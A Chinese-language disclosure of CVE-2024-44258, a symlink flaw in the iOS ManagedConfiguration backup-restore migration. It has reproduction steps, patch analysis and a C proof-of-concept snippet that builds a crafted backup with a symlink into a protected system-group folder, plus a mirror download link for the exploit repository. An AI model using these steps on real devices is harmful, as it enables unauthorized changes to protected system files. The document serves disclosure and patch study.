概述

CVE-2024-44258 代表苹果设备中 ManagedConfiguration框架profiled守护程序 的一个符号链接漏洞。在还原一个经过精心设计的备份时,迁移过程未验证目标文件夹是否为符号链接(symlink),导致未经授权的文件迁移到受限区域。

CVE ID

此问题已分配唯一标识符 CVE-2024-44258。CVE 是已公开披露的安全漏洞的独特标识符。

  • 影响: 恢复一个恶意设计的备份文件可能会导致系统受保护文件被修改。

  • 描述: 通过改进受影响组件中的符号链接处理,该问题已得到解决。

更多信息请参考苹果的官方支持页面:

  • support.apple.com/en-us/121569

  • support.apple.com/en-us/121566

  • support.apple.com/en-us/121563

详细信息

受影响组件:

  • ManagedConfiguration框架

  • profiled守护程序

影响:

该漏洞允许攻击者在备份还原过程中利用符号链接绕过文件夹限制,将文件写入受沙盒保护或受限的区域。该缺陷可能导致未经授权的数据访问、权限提升,或利用其他依赖于已修改配置的服务进行进一步攻击。

复现步骤

  1. 创建一个精心设计的备份

    • 创建一个从以下路径的符号链接:
      /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/
      到一个使用域的沙盒文件夹:

      SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles
  2. 添加所需文件

    • 在以下路径中插入文件和文件夹:
      /private/var/mobile/Library/ConfigurationProfiles
      使用 HomeDomain

  3. 还原精心设计的备份

    • 将备份还原到任何iPhone、iPod或iPad设备。

  4. 重启设备

    • 重启后,检查受限区域的内容,您会发现文件/文件夹已迁移到先前受保护的位置。

预期结果与实际结果

  • 预期结果:
    /private/var/mobile/Library/ConfigurationProfiles 应迁移至:
    /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/

  • 实际结果:
    由于精心设计的符号链接,文件迁移到了可能包含敏感或受保护数据的受限文件夹。

漏洞利用状态

该漏洞在 野外已活跃数月,表明已被利用。

补丁说明

iOS 18.1 beta5 中,苹果引入了补丁来解决 ManagedConfiguration框架 中的符号链接漏洞。新函数 _MCDestinationPathIsSafeFromSymlinkAttacks 用于对目标路径执行安全检查,防止未经授权的文件迁移至受限区域。此检查专门添加到 MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error: 函数中。

受影响函数:-[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]

该漏洞修复通过修改 -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:] 函数实现,该函数负责 ManagedConfiguration框架 中的文件迁移操作。补丁的工作原理如下:

  • 增加符号链接检查
    苹果在 MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error: 开头添加了 _MCDestinationPathIsSafeFromSymlinkAttacks 函数调用。该函数现在会验证目标路径是否无符号链接,从而在执行任何迁移操作之前添加了一层保护。

  • 条件检查
    如果 _MCDestinationPathIsSafeFromSymlinkAttacks 检测到目标路径中存在符号链接,它将阻止迁移继续进行。该函数会通过 OS_LOG_TYPE_FAULT 记录一个 故障消息 并提前退出,停止文件操作。

代码对比

使用 DiaphoraIDA 中对比 iOS 18.1 beta4iOS 18.1 beta5,可以看到 -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:] 函数中的变化。以下图片显示了添加符号链接检查后的代码修改。

PoC(概念验证)

以下是一个演示如何制作利用该漏洞的备份的代码片段。此代码展示了如何将符号链接和文件添加到备份中,模拟了过程,但不提供实际的恶意备份文件。

unsigned char* plist_data = NULL;
        file_read("/path/to/your/test-outofsandbox.plist", &plist_data, &plist_size); // THIS NEED TO BE CHANGED TO THE FILE PATH

    backup_add_directory(backup, "HomeDomain", "Library/ConfigurationProfiles", 0755, 501, 501);
    backup_add_file_with_data(backup, "HomeDomain", "Library/ConfigurationProfiles/test.plist", 0755, 501, 501, 4, plist_data, plist_size); // WE ADD OUR FILES
         
    backup_add_directory(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", NULL, 0755, 501, 501);
    backup_add_symlink(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", "Library", "/private/var/mobile/Library", 501, 501); // CHANGE THE PATH TO THE SANDBOXED FOLDER YOU WANT TO WRITE IN YOUR FILES
    
    backup_write_mbdb(backup); // SAVE THE BACKUP
    backup_free(backup);

披露时间线

  • 首次报告给苹果: [2024年7月6日]

  • CVE分配: CVE-2024-44258

  • 公开披露: [2024年11月2日]

致谢

特别感谢苹果安全团队的迅速响应与合作。

漏洞由 Hichem Maloufi 和 Christian Mina 发现

许可证

此存储库根据 MIT 许可证授权。有关更多信息,请参见 LICENSE 文件。

仓库

https://github.com/ifpdz/CVE-2024-44258

直链地址下载

https://lp.lmboke.com/CVE-2024-44258-main.zip

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。